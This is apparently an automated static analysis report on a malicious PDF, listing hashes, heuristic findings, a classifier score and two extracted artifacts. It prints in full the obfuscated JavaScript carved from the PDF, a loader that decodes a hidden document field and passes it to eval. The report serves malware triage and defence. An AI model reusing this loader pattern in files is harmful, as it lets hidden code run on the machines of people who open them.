Malicious PDF — malware analysis report

Static analysis result for SHA-256 eac9041eb88fb433…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-07
MD5: 1d4d8c1af473044dc46bca8a2261e60d SHA-1: df55196fa0ed94c870ceac05438dd96631001e69 SHA-256: eac9041eb88fb433a0ded5c6af5ee9caf07a311b2986f7ae1d6ce9800ebd8837
60 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier also flagged this PDF with high confidence. While the document body is heavily obfuscated and unreadable, the presence of JavaScript suggests an attempt to execute arbitrary code. The embedded URLs, though mostly benign or unknown, are part of the document's structure. The JavaScript's exact function is unclear due to obfuscation, but it is likely designed to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9994

Heuristics 6

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitstream.com In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x871 978 bytes
SHA-256: 88b837a64b289f2e4d53531f494f390b111f2a05a4babacc2957680eb0a6b149
Detection
ClamAV: No threats found
Obfuscation or payload: likely
6 of 12 identifiers look randomly generated (e.g. 'gO959sfFD8') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
LN7MJ=this;f5F1X1=['F','P','i','c','0','0','n','s','2','6','v','0','f','R','m','O','5','0','W','9','o','t','8','y','9','k','K','b'];SPUnBb=f5F1X1[2]+f5F1X1[6]+f5F1X1[12]+f5F1X1[20];lPL7=LN7MJ[SPUnBb];kBxFe32=['H','I','h','u','p','Q','1','m','9','A','d','k','f','l','t','P','E','k','4','y','j','D','4','0','p','C','8','N','9','r','K','r','e','E','J','k','6','v'];WnplYGx1=kBxFe32[4]+kBxFe32[10]+kBxFe32[12]+kBxFe32[14]+kBxFe32[19]+kBxFe32[24]+kBxFe32[32];SaMMHCc6J=lPL7[WnplYGx1];        gO959sfFD8="";p9vb044=['t','c','v','u','P','N','4','X','h','O','h','Q','7','a','a','r','D','f','9','d','6','A','N','o','d','B','V','C','t','g','1','3','9','4'];bUy59C=p9vb044[1]+p9vb044[8]+p9vb044[13]+p9vb044[15]+p9vb044[21]+p9vb044[28];for (i=0;i<SaMMHCc6J.length;i +=4){   gO959sfFD8 +=SaMMHCc6J.charAt(i);}qDlM=['f','7','e','h','2','0','s','P','l','v','r','F','U','g','a','g','C','v','l','n','n'];VF34gsJR=qDlM[2]+qDlM[9]+qDlM[14]+qDlM[18];HDV1YHO=LN7MJ[VF34gsJR];HDV1YHO(gO959sfFD8);
font_00_sfnt_off000010dc.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x10DC 65932 bytes
SHA-256: 044efaa0fcddad6a1afc97a6bd112675dff8d542f6a622fb73e7eb17d43d90f7

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